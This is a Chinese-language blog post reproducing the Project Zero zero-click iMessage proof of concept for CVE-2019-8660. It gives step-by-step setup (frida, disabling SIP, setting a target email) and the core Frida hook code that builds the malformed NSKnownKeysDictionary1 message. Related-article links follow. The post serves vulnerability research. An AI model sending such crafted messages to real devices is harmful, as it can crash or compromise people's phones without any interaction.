CVE-2019-8660 iMessage 漏洞复现

近期谷歌的研究人员披露了 5 个 iOS 中安全漏洞,并公布了 POC(Proof of concept),攻击者利用这些漏洞可以通过 iMessage 发送精心设计的消息来攻击 iOS 设备,这些漏洞不需要和任何用户交互,只要目标机 iMessage 信息接收成功即可触发漏洞。

CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 这三个漏洞可以导致系统重启,或者任意代码执行。

CVE-2019-8646 这个漏洞可以导致任意文件读取,比如发送 iMessage 信息到目标机,可以获取到目标机的照片。

CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复,所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。

复现漏洞

首先是要复现漏洞,以 CVE-2019-8660 为例,其他几个漏洞的复现方式类似。在测试之前,请打开 iOS 设备上的 iMessage 的消息接收,方法是点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤:

(1) 安装 python3

brew install python3

(2) 安装 frida

pip3 install frida

(3) 下载并解压 POC,下载地址是: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==

(4) 将 sendMessage.py 里的 receiver 替换成目标邮箱地址

#receiver = "YOUR EMAIL"
receiver = "exchen99@foxmail.com"

(5) 将 injectMessage.js 里的 obj 文件的路径填写成你本机的

//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

(6) 需要关闭 SIP (System Integrity Protection,系统完整性保护),方法是重启按住 Commond + R 进入 recovery 模式,在实用工具里打开终端,输入 csrutil disable 即可禁用 SIP,然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP,方法是:进入 recovery 模式,输入 csrutil enable。如果没有这一步操作,frida 注入进程可能会失败。

(7) 最后执行 sendMessage.py 发送 iMessage,只要目标机接收到 iMessage 消息即可以触发漏洞,并不需要点击查看。

python3 sendMessage.py

触发漏洞的目标机重启之后,打开短信应用会闪退,原因是之前测试的那条带漏洞的 iMessage 消息还存在,会被短信应用加载,加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息,这样会覆盖掉带漏洞的短信,然后在搜索栏输入关键字定位到有问题的短信,删除即可。

POC 的实现原理

POC 的实现原理是使用 AppleScript 调用 macOS 的信息应用对目标发送 iMessage 消息,其中使用 frida 对 jw_encode_dictionary_addr 函数进行 Hook,修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码,核心代码如下:

console.log(dict);  //打印原始正常的消息体
//对正常的消息体进行修改,构造带有漏洞的消息体
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
console.log(d);  //打印obj文件
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");
newDict.setObject_forKey_(d, "bp");  //obj文件
// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "pv");
newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");
newDict.setObject_forKey_(1, "v");newDict.setObject_forKey_("\Ufffd\Ufffc", "t");
args[0] = newDict.handle;

替换的 iMessage 消息体会放入 obj 文件,obj 文件里有一个 NSKnownKeyDictionary1 对象,正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。

<dict><key>$classes</key><array><string>NSDictionary</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysDictionary1</string>
</dict>
<dict><key>$classes</key><array><string>NSKnownKeysMappingStrategy1</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysMappingStrategy1</string>
</dict>
<string>i am very long indeed</string>
<dict>

上面的 obj 文件实际上是 Archive (归档)文件, 通过 NSKeyedArchiver 里的方法可以构造 Archive 文件,示例如下:

NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];
if (!data) {NSLog(@"Error: %@", err);return;
}
[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];

iMessage 的消息内容是在 sendMessage.py,我们可以替换 REPLACEME 发送自定义的消息

subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致

if (t == "REPLACEME")

参考资料:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

Author: exchen
原文地址:https://www.exchen.net/ios-jpg-system-crash.html

CVE-2019-8660 iMessage 漏洞复现相关推荐

  1. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  2. Drupal漏洞复现:CVE-2019-6341

    近期遇到Drupal漏洞,研究了一下,给大家分享一篇复现,望共鸣 前言: Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏 ...

  3. CVE-2022-30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

    文章目录 免责声明 前言 一.漏洞简介 风险等级评判 二.影响版本 office版本 三.漏洞复现 复现环境 工具 使用方法 利用 第一种 第二种 防范避免 结尾 参考 免责声明 本文章仅供学习和研究 ...

  4. CVE-2019-1388 Windows UAC 漏洞复现

    CVE-2019-1388 Windows UAC 漏洞复现 文章目录 CVE-2019-1388 Windows UAC 漏洞复现 1. 概述 1.1 UAC 1.2 漏洞简述 1.3 风险等级 1 ...

  5. docker逃逸漏洞复现 cve-2019-5736

    0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...

  6. Winrar目录穿越漏洞复现

    Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...

  7. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  8. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

  9. php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现

    0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...

最新文章

  1. axios post body参数_Vue开发中的一些问题(axios封装)
  2. iOS设计模式之原型模式
  3. grunt合并压缩js、css文件
  4. buu [BJDCTF 2nd]签到-y1ng
  5. cocos2dx打飞机项目笔记五:CCSpriteBatchNode 的使用
  6. 你真的懂你的用户吗?
  7. 14-angular.isDefined
  8. struts2上传文件
  9. 笔记本删除隐藏分区 释放固态硬盘空间
  10. 12. No More MVC
  11. Java线程基础(二)
  12. nodejs的moment操作时间
  13. 简易矩阵乘法计算器2.0
  14. Cluster sampling整群抽样例子
  15. pdf 添加水印、页眉页脚、签名
  16. win7修复计算机无鼠标,win7电脑鼠标不听使唤反应慢如何修复
  17. uniapp 使用pdf.js 加载本地pdf文件报错问题
  18. python--format
  19. Python grid布局
  20. 《现代控制理论》第5章

热门文章

  1. 0003 无重复字符的最长子串
  2. js去掉字符串中的所有空格
  3. mysql数据库主从同步状态正常,无异常报错,数据不能同步
  4. glid加载不出来图片
  5. sql 合并相同条件的字段
  6. android Listview scrollto 问题
  7. [转]Github 中被 Fork 最多的库
  8. [Python人工智能] 十五.无监督学习Autoencoder原理及聚类可视化案例详解
  9. EduCoder Linux文件/目录高级管理一
  10. 数据库开发——MySQL——慢查询优化